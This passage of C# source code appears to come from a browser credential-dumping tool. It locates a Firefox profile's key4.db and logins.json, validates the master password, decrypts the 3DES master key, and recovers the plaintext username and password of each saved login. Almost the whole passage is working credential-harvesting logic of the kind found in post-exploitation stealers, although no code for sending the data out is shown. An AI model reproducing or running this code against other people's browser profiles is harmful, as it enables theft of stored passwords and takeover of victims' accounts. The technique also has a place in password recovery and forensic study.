// read logins.json file and deserialize the JSON into FirefoxLoginsJSON class
        public FirefoxLoginsJSON.Rootobject GetJSONLogins(string profileDir)
        {
            if (File.Exists(profileDir + @"\logins.json"))
            {
                //Read logins.json from file and deserialise JSON into FirefoxLoginsJson object
                string file = File.ReadAllText(profileDir + @"\logins.json");
                FirefoxLoginsJSON.Rootobject JSONLogins = JsonConvert.DeserializeObject <FirefoxLoginsJSON.Rootobject>(file);

                return(JSONLogins);
            }
            else
            {
                throw new FileNotFoundException($"Could not find file '{profileDir}\\logins.json.\nUnable to decrypt logins for this profile.'");
            }
        }
        public FirefoxDatabaseDecryptor(string profile, string password)
        {
            ProfileDir     = profile;
            Key4dbpath     = ProfileDir + @"\key4.db";
            MasterPassword = password;

            //Check profile for key4 database before attempting decryption
            if (File.Exists(Key4dbpath))
            {
                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine($"[+] Found Firefox credential database at: \"{Key4dbpath}\"");
                Console.ResetColor();

                // If Firefox version >= 75.0, asn.1 parser will throw IndexOutOfRange exception when trying to parse encrypted data as asn.1 DER encoded
                try
                {
                    Key4DatabaseConnection(Key4dbpath);
                }
                catch (IndexOutOfRangeException e)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine($"[-] Could not correctly parse the contents of {Key4dbpath} - possibly incorrect Firefox version.");
                    Console.ResetColor();
                }


                //Store a RootObject from FirefoxLoginsJSON (hopefully) containing multiple FirefoxLoginsJSON.Login instances
                FirefoxLoginsJSON.Rootobject JSONLogins = GetJSONLogins(ProfileDir);

                //Decrypt password-check value to ensure correct decryption
                DecryptedPasswordCheck = Decrypt3DES(GlobalSalt, EntrySaltPasswordCheck, CipherTextPasswordCheck, MasterPassword);

                if (PasswordCheck(DecryptedPasswordCheck))
                {
                    //Decrypt master key (this becomes padded EDE key for username / password decryption)
                    //Master key should have 8 bytes of PKCS#7 Padding
                    Decrypted3DESKey = Decrypt3DES(GlobalSalt, EntrySalt3DESKey, CipherText3DESKey, MasterPassword);

                    //Check for PKCS#7 padding and remove if it exists
                    Decrypted3DESKey = Unpad(Decrypted3DESKey);

                    FirefoxLoginDataList = new List <BrowserLoginData>();

                    Console.ForegroundColor = ConsoleColor.Yellow;
                    foreach (FirefoxLoginsJSON.Login login in JSONLogins.Logins)
                    {
                        try
                        {
                            if (!(login.FormSubmitURL.Equals(null)))
                            {
                                byte[] usernameBytes = Convert.FromBase64String(login.EncryptedUsername);
                                byte[] passwordBytes = Convert.FromBase64String(login.EncryptedPassword);

                                ASN1 usernameASN1 = new ASN1(usernameBytes);

                                byte[] usernameIV        = usernameASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[0];
                                byte[] usernameEncrypted = usernameASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[1];

                                //Extract password ciphertext from logins.json
                                ASN1 passwordASN1 = new ASN1(passwordBytes);

                                byte[] passwordIV        = passwordASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[0];
                                byte[] passwordEncrypted = passwordASN1.RootSequence.Sequences[0].Sequences[0].OctetStrings[1];

                                string decryptedUsername = Encoding.UTF8.GetString(Unpad(Decrypt3DESLogins(usernameEncrypted, usernameIV, Decrypted3DESKey)));
                                string decryptedPassword = Encoding.UTF8.GetString(Unpad(Decrypt3DESLogins(passwordEncrypted, passwordIV, Decrypted3DESKey)));

                                BrowserLoginData loginData = new BrowserLoginData(login.FormSubmitURL, decryptedUsername, decryptedPassword, "Firefox");
                                FirefoxLoginDataList.Add(loginData);
                            }
                        }
                        catch (NullReferenceException)
                        {
                        }
                    }
                    Console.ResetColor();
                }
            }
            else
            {
                Console.ForegroundColor = ConsoleColor.Red;
                Console.WriteLine($"[-] No credential database found for Firefox profile: {ProfileDir}");
                Console.ResetColor();
            }
        }